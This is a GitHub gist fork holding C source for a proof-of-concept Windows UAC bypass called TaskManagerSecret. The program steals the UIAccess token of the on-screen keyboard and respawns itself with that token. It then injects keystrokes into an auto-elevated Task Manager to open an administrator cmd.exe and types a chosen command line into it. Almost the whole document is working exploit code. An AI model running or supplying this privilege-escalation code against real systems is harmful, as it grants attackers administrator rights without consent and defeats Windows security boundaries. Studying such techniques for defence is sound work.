Skip to content

Instantly share code, notes, and snippets.

@techris45
Forked from antonioCoco/TaskManagerSecret.c
Created August 30, 2023 07:26
Show Gist options
  • Save techris45/b67be5963d9633c91e8b14bcd7c729fc to your computer and use it in GitHub Desktop.
Save techris45/b67be5963d9633c91e8b14bcd7c729fc to your computer and use it in GitHub Desktop.

Revisions

  1. @antonioCoco antonioCoco created this gist Aug 29, 2023.
    258 changes: 258 additions & 0 deletions TaskManagerSecret.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,258 @@
    /*
    TaskManagerSecret
    Author: @splinter_code
    This is a very ugly POC for a very unreliable UAC bypass through some UI hacks.
    The core of this hack is stealing and using a token containing the UIAccess flag set.
    A trick described by James Forshaw, so all credits to him --> https://www.tiraniddo.dev/2019/02/accessing-access-tokens-for-uiaccess.html
    From there it uses a task manager "feature" to run a new High IL cmd.exe.
    This has been developed only for fun and shouldn't be used due to its high unreliability.
    Basically it implements what i mentioned in this tweet --> https://twitter.com/splinter_code/status/1695839278176108735
    A very similar implementation already exists in UACMe method 55.
    */

    #include "Windows.h"
    #include "stdio.h"
    #include "sddl.h"
    #include "strsafe.h"

    DWORD SetTokenIntegrityLevelMedium(HANDLE token);

    int wmain(int argc, wchar_t** argv)
    {
    wchar_t defaultCmdline[] = L"cmd /c echo TaskManagerSecret > C:\\Windows\\byeuac.txt && notepad.exe C:\\Windows\\byeuac.txt && exit";
    wchar_t* cmdline = defaultCmdline;
    BOOL processHasUIAccess = FALSE;

    if (argc == 2 && wcscmp(argv[1], L"UIAccess") == 0)
    processHasUIAccess = TRUE;

    if (argc > 2) {
    cmdline = argv[1];
    if (wcscmp(argv[2], L"UIAccess") == 0)
    processHasUIAccess = TRUE;
    }

    SHELLEXECUTEINFO shinfo;
    RtlZeroMemory(&shinfo, sizeof(shinfo));
    shinfo.cbSize = sizeof(shinfo);
    shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
    shinfo.nShow = SW_HIDE;

    if (processHasUIAccess) {
    // we expect now to have the UIAccess flag set in our current process token
    // in this way we are able to bypass UIPI, so it means we can use SendInput() on windows of higher IL processes
    wchar_t taskmgmrPath[] = L"C:\\Windows\\System32\\taskmgr.exe";
    HWND hWndTaskmgr, hWndCmd;

    shinfo.lpFile = taskmgmrPath;

    // execute task manager through appinfo service so it can auto elevate
    if (!ShellExecuteEx(&shinfo)) {
    printf("ShellExecuteEx failed with error code %d", GetLastError());
    exit(-1);
    }

    Sleep(1000);
    hWndTaskmgr = FindWindow(NULL, L"Task Manager");

    if (hWndTaskmgr == NULL) {
    printf("Task Manager window not found\n");
    exit(-1);
    }
    printf("Task Manager window found\n");
    if (!SetForegroundWindow(hWndTaskmgr)) {
    printf("SetForegroundWindow failed with error code %d\n", GetLastError());
    exit(-1);
    }

    INPUT input;
    input.type = INPUT_KEYBOARD;
    input.ki.time = 0;
    input.ki.dwExtraInfo = 0;
    input.ki.wScan = 0;
    input.ki.dwFlags = 0;

    // interact with task manager window to send tab -> space to press on "More details"

    // Tab Key Down
    input.ki.wVk = VK_TAB;
    input.ki.dwFlags = 0;
    SendInput(1, &input, sizeof(INPUT));
    // Tab Key Up
    input.ki.dwFlags = KEYEVENTF_KEYUP;
    SendInput(1, &input, sizeof(INPUT));

    // Space Key Down
    input.ki.wVk = VK_SPACE;
    input.ki.dwFlags = 0;
    SendInput(1, &input, sizeof(INPUT));
    // Space Key Up
    input.ki.dwFlags = KEYEVENTF_KEYUP;
    SendInput(1, &input, sizeof(INPUT));

    // send alt -> enter -> ctrl+enter to navigate to File -> "Run New Task" -> elevated cmd shell
    // as mentioned here --> https://twitter.com/splinter_code/status/1695839278176108735

    // Alt Key Down
    input.ki.wVk = VK_LMENU;
    input.ki.dwFlags = 0;
    SendInput(1, &input, sizeof(INPUT));
    // Alt Key Up
    input.ki.dwFlags = KEYEVENTF_KEYUP;
    SendInput(1, &input, sizeof(INPUT));

    // Enter Key Down
    input.ki.wVk = VK_RETURN;
    input.ki.dwFlags = 0;
    SendInput(1, &input, sizeof(INPUT));
    // Enter Key Up
    input.ki.dwFlags = KEYEVENTF_KEYUP;
    SendInput(1, &input, sizeof(INPUT));

    // Ctrl Key Down
    input.ki.wVk = VK_CONTROL;
    input.ki.dwFlags = 0;
    SendInput(1, &input, sizeof(INPUT));
    // Enter Key Down
    input.ki.wVk = VK_RETURN;
    input.ki.dwFlags = 0;
    SendInput(1, &input, sizeof(INPUT));
    // Ctrl Key Up
    input.ki.wVk = VK_CONTROL;
    input.ki.dwFlags = KEYEVENTF_KEYUP;
    SendInput(1, &input, sizeof(INPUT));
    // Enter Key Up
    input.ki.wVk = VK_RETURN;
    input.ki.dwFlags = KEYEVENTF_KEYUP;
    SendInput(1, &input, sizeof(INPUT));

    // kill the task manager
    Sleep(1000);
    TerminateProcess(shinfo.hProcess, 0);
    CloseHandle(shinfo.hProcess);

    // Find the window of the new High IL cmd.exe spawned by the task manager
    hWndCmd = FindWindow(NULL, L"Administrator: C:\\WINDOWS\\system32\\cmd.exe");
    if (hWndCmd == NULL) {
    printf("High IL cmd.exe window not found\n");
    exit(-1);
    }
    printf("High IL cmd.exe window found\n");
    if (!SetForegroundWindow(hWndCmd)) {
    printf("SetForegroundWindow failed with error code %d\n", GetLastError());
    exit(-1);
    }
    HKL kl = GetKeyboardLayout(0);
    BOOL NeedShift = FALSE;
    WORD VkAndShift = 0;
    // sending the keystrokes of the commandline to the High IL cmd.exe
    for (int i = 0; i < wcslen(cmdline); i++) {
    VkAndShift = VkKeyScanEx(cmdline[i], kl);
    NeedShift = ((HIBYTE(VkAndShift) & 1) == 1);
    if (NeedShift) {
    input.ki.wVk = VK_SHIFT;
    input.ki.dwFlags = 0;
    SendInput(1, &input, sizeof(INPUT));
    }
    input.ki.wVk = LOBYTE(VkAndShift);
    input.ki.dwFlags = 0;
    SendInput(1, &input, sizeof(INPUT));
    input.ki.dwFlags = KEYEVENTF_KEYUP;
    SendInput(1, &input, sizeof(INPUT));
    if (NeedShift) {
    input.ki.wVk = VK_SHIFT;
    input.ki.dwFlags = KEYEVENTF_KEYUP;
    SendInput(1, &input, sizeof(INPUT));
    }
    }

    // Enter Key Down
    input.ki.wVk = VK_RETURN;
    input.ki.dwFlags = 0;
    SendInput(1, &input, sizeof(INPUT));
    // Enter Key Up
    input.ki.dwFlags = KEYEVENTF_KEYUP;
    SendInput(1, &input, sizeof(INPUT));

    printf("The string '%S' has been sent to the High IL cmd.exe!\n", cmdline);
    }
    else
    {
    // The core of this hack is stealing and using a token containing the UIAccess flag set
    // Trick described by James Forshaw here, so all credits to him --> https://www.tiraniddo.dev/2019/02/accessing-access-tokens-for-uiaccess.html

    HANDLE hProcessToken, hDuplicateToken;
    wchar_t oskPath[] = L"C:\\Windows\\System32\\osk.exe";
    wchar_t cmdlineTemplate[] = L"%s UIAccess";
    wchar_t moduleFilename[MAX_PATH], newCmdline[MAX_PATH];

    shinfo.lpFile = oskPath;

    if (!ShellExecuteEx(&shinfo)) {
    printf("ShellExecuteEx failed with error code %d", GetLastError());
    exit(-1);
    }

    if (!OpenProcessToken(shinfo.hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hProcessToken)) {
    printf("OpenProcessToken failed with error code %d", GetLastError());
    exit(-1);
    }

    if (!DuplicateTokenEx(hProcessToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) {
    printf("DuplicateTokenEx failed with error code %d", GetLastError());
    exit(-1);
    }

    CloseHandle(hProcessToken);
    TerminateProcess(shinfo.hProcess, 0);
    CloseHandle(shinfo.hProcess);

    if (SetTokenIntegrityLevelMedium(hDuplicateToken)) {
    printf("SetTokenIntegrityLevelMedium failed with error code %d", GetLastError());
    exit(-1);
    }

    PROCESS_INFORMATION pi;
    STARTUPINFO si;
    RtlZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
    RtlZeroMemory(&si, sizeof(STARTUPINFO));
    si.cb = sizeof(STARTUPINFO);

    GetModuleFileName(NULL, moduleFilename, MAX_PATH);
    StringCchPrintfW(newCmdline, MAX_PATH, cmdlineTemplate, GetCommandLine());

    if (!CreateProcessAsUser(hDuplicateToken, moduleFilename, newCmdline, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
    {
    printf("CreateProcessAsUserW failed with error code %d", GetLastError());
    exit(-1);
    }
    printf("Current process respawned with UIAccess flag\n");
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    }
    return 0;
    }


    DWORD SetTokenIntegrityLevelMedium(HANDLE token) {
    PSID medium_sid = NULL;
    if (!ConvertStringSidToSid(SDDL_ML_MEDIUM, &medium_sid)) {
    return GetLastError();
    }
    TOKEN_MANDATORY_LABEL label = { 0 };
    label.Label.Attributes = SE_GROUP_INTEGRITY;
    label.Label.Sid = medium_sid;
    size_t size = sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(medium_sid);
    BOOL success = SetTokenInformation(token, TokenIntegrityLevel, &label, size);
    if (!success) {
    printf("SetTokenInformation failed with error code %d", GetLastError());
    exit(-1);
    }
    DWORD result = success ? ERROR_SUCCESS : GetLastError();
    LocalFree(medium_sid);
    return result;
    }